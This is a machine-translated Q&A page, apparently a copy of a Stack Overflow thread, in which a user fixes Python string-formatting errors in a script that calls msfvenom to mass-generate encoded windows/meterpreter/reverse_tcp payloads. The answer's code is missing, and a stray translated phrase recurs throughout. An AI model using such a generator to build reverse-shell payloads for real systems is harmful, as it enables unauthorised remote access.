我正在尝试用python2.7.12创建Metasploit有效负载生成器。它利用msfvenom
生成许多恶意有效负载。你知道吗
首先我使用%s
和%d
格式操作符。你知道吗
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost),
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
此错误返回
/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d
(OptionParser::InvalidArgument)
from /usr/bin/msfvenom:283:in `<main>'
Traceback (most recent call last):
File "menu.py", line 74, in <module>
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost),
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
TypeError: unsupported operand type(s) for %: 'int' and 'str'
我能够理解msfvenom无法解析我传递的参数,即迭代标志-i
。接下来我看到了Python的一个错误TypeError
。你知道吗
在进行了一些研究之后,我决定使用.format()
,因为
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}",
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost,
lport, encode, iteration, formatop, payname, formatop)
它回来了
AttributeError: 'int' object has no attribute 'format'
我该怎么办?也有任何方法,我可以优化我的程序,而不是复制和粘贴同一行,并改变有效负载类型为15个选项?你知道吗
不能对
call(...)
的结果使用format
。您应该格式化每个组件:请注意,重定向被显式打开的文件替换,因为
subprocess.call
不会将其传递给shell,除非启用不安全的shell=True
参数。你知道吗用不同的有效负载多次重复这个过程很容易:用有效负载创建一个数组,然后将此代码放入一个循环中(或者更清楚地说,一次用一个有效负载调用一个函数)。你知道吗
一个很好的技巧是在命令中使用
split
来创建传递给call
的列表,这也会使变量替换更干净:相关问题 更多 >
编程相关推荐